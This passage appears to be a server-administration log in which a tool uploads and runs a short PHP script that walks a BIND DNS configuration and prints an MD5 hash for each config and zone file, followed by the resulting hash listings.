MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:51:35: Establishing a connection
2026-05-06 10:51:35: 

PUT: /tmp/pkp450535

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:51:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp450535; rm /tmp/pkp450535'

2026-05-06 10:51:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
